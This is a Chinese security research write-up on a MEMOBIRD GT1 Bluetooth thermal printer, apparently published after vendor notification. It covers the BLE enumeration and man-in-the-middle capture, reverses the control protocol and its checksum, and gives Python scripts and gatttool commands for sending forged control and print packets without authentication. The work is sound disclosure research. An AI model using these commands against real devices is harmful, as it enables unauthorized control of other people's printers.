独角兽暑期训练营 | 某网红打印机安全分析(下)

阅读量    119124 | 评论 1

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

该课题由独角兽暑期训练营第二届学员张熙宸完成,课题完成后, 等待厂商修复相关漏洞,到现在才发布。

360独角兽安全团队每年暑假都会面向在校学生举办一次暑期训练营,申请者投递简历并提交自己想做的课题介绍后,若入选,会在360技术专家的指导下完成课题。

本系列文章会发布第二届训练营6位学员在训练营中的成果。文章相关代码后续会在训练营github代码仓库发布 。

 

硬件拆解

STM32f030rct6     //MCU

mxic mx25l6433f M2i 08G      //64Mbit Flash

mps1647 mp6507 //步进电机驱动芯片(纸张移动)

RTL8761ATV    //蓝牙射频模块(带STM32F071CBU6)

m2639a //电源驱动芯片(充放电)

1137DQ     //MOS管 热敏感应头

7.V 900mAh    //电池

这个就是机器的硬件信息,打印机主要根据RTL8761ATV蓝牙芯片进行通信,我们主要也针对蓝牙这一块对设备进行安全分析。

蓝牙分析

$ hcitool scan

Scanning ...

      74:AC:5F:FB:34:C0 360 1801-A01

      E4:46:DA:DA:9A:84      小米手机

      00:15:83:C3:B9:5F  MEMOBIRD GT1

首先用适配器扫描周围蓝牙信息,这里我用的是“CSR8510”型号的适配器,据之前的经验用笔记本网卡自带的适配器,或者其他型号的适配器都会遇到兼容的问题,然后我们看下我们要分析的设备,这些设备有一个特点就是手机蓝牙扫描界面中是不会显示出来的,可以根据这个特点和名字分辨出我们要攻击的设备“MEMOBIRD GT1”Mac地址为:“00:15:83:C3:B9:5F”

gatttool -b 00:15:83:C3:B9:5F -I

然后我们用到gatttool,因为刚刚的hcitool只是为了对设备的连接进行管理,如果要对BLE数据进行精细化管理的话,就要用到gatttool,我们使用gatttool的intercative(-I)模式对目标设备进行控制,-b选择目标的Mac地址。

[00:15:83:C3:B9:5F][LE]> connect

Attempting to connect to 00:15:83:C3:B9:5F

Connection successful

[00:15:83:C3:B9:5F][LE]> primary

attr handle: 0x0001, end grp handle: 0x000a uuid: 0000ff00

attr handle: 0x000b, end grp handle: 0x0013 uuid: 0000180a

attr handle: 0x0014, end grp handle: 0x001c uuid: 49535343

attr handle: 0x001d, end grp handle: 0x0024 uuid: 0000fee7

attr handle: 0x0025, end grp handle: 0x002a uuid: 0000ff80

连接到设备成功之后,命令行会有提示,之后我们可以先用“primary”来寻找设备中可用的服务

[00:15:83:C3:B9:5F][LE]> characteristics

handle: 0x0002, char properties: 0x0c, char value handle: 0x0003, uuid: 0000ff02-0000-1000-8000-00805f9b34fb

handle: 0x0004, char properties: 0x10, char value handle: 0x0005, uuid: 0000ff01-0000-1000-8000-00805f9b34fb

handle: 0x0007, char properties: 0x10, char value handle: 0x0008, uuid: 0000ff03-0000-1000-8000-00805f9b34fb

handle: 0x000c, char properties: 0x02, char value handle: 0x000d, uuid: 00002a29-0000-1000-8000-00805f9b34fb

handle: 0x000e, char properties: 0x02, char value handle: 0x000f, uuid: 00002a24-0000-1000-8000-00805f9b34fb

handle: 0x0010, char properties: 0x02, char value handle: 0x0011, uuid: 00002a27-0000-1000-8000-00805f9b34fb

handle: 0x0012, char properties: 0x02, char value handle: 0x0013, uuid: 00002a26-0000-1000-8000-00805f9b34fb

handle: 0x0015, char properties: 0x0c, char value handle: 0x0016, uuid: 49535343-8841-43f4-a8d4-ecbe34729bb3

handle: 0x0017, char properties: 0x10, char value handle: 0x0018, uuid: 49535343-1e4d-4bd9-ba61-23c647249616

handle: 0x001a, char properties: 0x18, char value handle: 0x001b, uuid: 49535343-aca3-481c-91ec-d85e28a60318

handle: 0x001e, char properties: 0x08, char value handle: 0x001f, uuid: 0000fec7-0000-1000-8000-00805f9b34fb

handle: 0x0020, char properties: 0x20, char value handle: 0x0021, uuid: 0000fec8-0000-1000-8000-00805f9b34fb

handle: 0x0023, char properties: 0x02, char value handle: 0x0024, uuid: 0000fec9-0000-1000-8000-00805f9b34fb

handle: 0x0026, char properties: 0x0c, char value handle: 0x0027, uuid: 0000ff82-0000-1000-8000-00805f9b34fb

handle: 0x0028, char properties: 0x10, char value handle: 0x0029, uuid: 0000ff81-0000-1000-8000-00805f9b34fb

也可以用characteristics来找到设备服务的特征值,其中的handle是特性的句柄,char properties是特性的属性值,char value handle是特性值的句柄,uuid是特性的标识,可以吧特性当做是设备提供的一个寄存器,寄存器会被赋予属性,可读可写,或者只写不可读(char properties),一台设备有很多属性,拿打印机来说的话,其中包含设备的电量信息,打印的浓度设置,打印的数据内容之类的,这些就会吧设备分成多个区块并且设置成不同的属性了,我们只需要找到打印数据写入到那个区块就可以了

蓝牙抓包

然后我们可以手机上打开开发者模式,设置将蓝牙数据保存为Log中,设置完后在app对打印机进行打印,然后吧手机中的btssnoop.log导入到电脑wireshark中就可以对蓝牙的数据进行分析了。

经过分析发现APP通过SPP协议将要打印的传给了打印机,因为没法对数据更好的调试所以是用中间人的方式对数据进行分析

蓝牙中间人攻击

这里用的是Btlejuice原理和gattacker类似,通过两个外置的蓝牙适配器做一个中间人的攻击,一个适配器插入真实机,一个插入虚拟机并开启代理模式,选择要中间人的蓝牙设备之后,APP和打印机之间的通信是通过我们两个适配器中间人实现的,我们可以实时的分析其中的通信数据并可以篡改内容,或者重放数据包进行测试。

然后分析数据得出蓝牙往handle: 0x0003, uuid: 0000ff02-0000-1000-8000-00805f9b34fb,这个区块中读写了数据,在流程中没有发现任何的验证的措施,我们先不着急分析打印的数据,我们先看看的常规的功能控制

蓝牙数据逆向

手机蓝牙往handle: 0x0003, uuid: 0000ff02 写入-> aa 05 00 03 03 01 00 00 4a

打印机通过蓝牙返回数据 uuid:0000ff01 <- aa 05 00 03 0e 01 00 01 3e

手机在请求控制的状态 handle: 0x0003, uuid: 0000ff02 写入-> aa 01 00 02 53

打印机返回 uuid:0000ff01 <- aa 44 00 02 ff 01 00 01 01 01 00 0a 02 01 00 05 03 01 00 00 04 01 00 50 05 01 00 01 06 01 00 00 13 01 00 0a 0f 20 00 36 33 36 34 30 34 39 36 33 37 35 30 30 30 30 30 30 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b2

我们点击指示灯开关,之后看下整个的一个控制流程

aa 01 00 01 54 //读取打印机数据(电量,版本号,设置等等)

aa 01 00 02 53 //发送控制后,判断执行是否成功

aa 05 00 03 03 01 00 00 4a //关闭状态灯

aa 05 00 03 03 01 00 01 49 //打开状态灯

aa 05 00 03 13 01 00 1e 1c //自动关机 30分钟

aa 05 00 03 13 01 00 3c fe //自动关机 1小时

aa 05 00 03 13 01 00 78 c2 //自动关机 2小时

aa 05 00 03 13 01 00 b4 86 //自动关机 3小时

aa 05 00 03 13 01 00 f0 4a //自动关机 4小时

aa 05 00 03 02 01 00 09 42 //浓度 加深

aa 05 00 03 02 01 00 07 44 //浓度 适中

aa 05 00 03 02 01 00 05 46 //浓度 淡色

我们在看看其他的功能控制中写入的数据。

蓝牙协议分析

之后我们得到以上数据,发现协议中使用了数据校验算法,在其之前用常见的校验方法都尝试过,奇偶校验,CRC之类的发现都不对,大量的黑盒分析后发现这是私有校验方式,通过0x56减去所有的数据最后得到的就是数据校验码,以打开状态灯为例0x56-0x05-0x03-0x03-0x01-0x01=0x49,最后得到的就是0x49的校验码

计算蓝牙校验码

x=0

Header="aa"

data='0500031301001e'

datalen=int(len(data))

checknum=int('56',16)

while x < datalen:

       checknum-=int(data[x:x+2],16)

       x+=2

checknum&=0xff

result=Header+data+hex(checknum)[2:]

print (result)

>> aa0500031301001e1c

这个python脚本可以计算出数据的校验码

gatttool -b 00:15:83:C3:B9:5F -I

[00:15:83:C3:B9:5F][LE]> connect

[00:15:83:C3:B9:5F][LE]> char-write-req 0x0003 aa0500031301001e1c

我们修改数据内容后就可以通过gatttool工具吧数据写入handle: 0x0003, uuid: 0000ff02 就可以控制这个打印机了的功能了,打印机并没有对蓝牙链接上的客户端进行任何的身份校验。

分析打印纸条数据

然后我们来分析打印纸条的数据内容,首先会吧系统时间作为第一包也就是第一个数据包发给打印机,我们输入的文字(”Unicorn team“)并不是以十六进制数据内容进行打印的,而是先吧文字和图片进行编码,可以从图中发现文字和时间文字进行对比不太清晰(转码的损耗),然后在吧转化后的数据分成多个数据包写入handle: 0x0003, uuid: 0000ff02 中进行打印。

我们以第一个数据包内容进行分析吧,以为其他都是将输入的文字(”Unicorn team“)进行重新的编码后的数据包,没有多大的内容数据。

aa 01 00 01 54 aa 10 00 04 0b 02 00 05 00 0c 02 00 01 00 0a 02 00 29 00 ec aa 32 00 04 0b 02 00 05 00 0c 02 00 02 00 0d 01 00 00 10 01 00 00 11 01 00 00 12 01 00 00 07 14 00 32 30 31 38 2d 30 38 2d 32 39 20 31 35 3a 35 37 3a 30 36 0a d1 aa 10 00 04 0b 02 00 05 00 0c 02 00 03 00 0a 02 00 2a 00 e9 aa 7a 07 04 0b 02 00 05 00 0c 02 00 04 00 08 6c 07 42 4d 6e 09 00 00 00 00 00 00 3e 00 00 00 28 00 00 00 80 01 00 00 31 00 00 00 01 00 01 00 00 00 00 00 30 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

纸条时间分析

截取第一个数据包中的打印时间的这一部分数据内容即可,将我们要打印机的文本转成ascii编码的十六进制数据,然后在算出校验码

伪造纸条数据

import binascii

text='Unicorn Team Print'

data='00040b020005000c020002000d010000100100001101000012010000071400'+str(binascii.b2a_hex(text.encode()))[2:-1]+'0a'

datalen=int(len(data))+2

data=hex(int(datalen/2-2))[2:]+data

x=0

Header="aa"

checknum=int('56',16)

while x < datalen:

      checknum-=int(data[x:x+2],16)

      x+=2

checknum&=0xff

result=Header+data+hex(checknum)[2:]

print (result)

>>aa3100040b020005000c020002000d010000100100001101000012010000071400556e69636f726e205465616d205072696e740ae4

通过我们脚本转成ascii编码并计算出校验码

攻击流程

gatttool -I -b 00:15:83:C3:B9:5F

[00:15:83:C3:B9:5F][LE]> connect

[00:15:83:C3:B9:5F][LE]> char-write-req 0x0003 aa3100040b020005000c020002000d010000100100001101000012010000071400556e69636f726e205465616d205072696e740ae4

我们只要在无线网络中扫描到任何这个打印机设备,没有任何的验证措施就可以链接上去了,然后我吧数据写入handle: 0x0003, uuid: 0000ff02 之后就可以打印出纸条了。

参考链接

https://www.cnblogs.com/HacTF/p/7772955.html

https://sec.xiaomi.com/article/39

https://www.anquanke.com/post/id/87128

https://github.com/securing/gattacker

https://github.com/DigitalSecurity/btlejuice

http://www.freebuf.com/articles/network/167132.html

http://www.freebuf.com/articles/wireless/180716.html

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多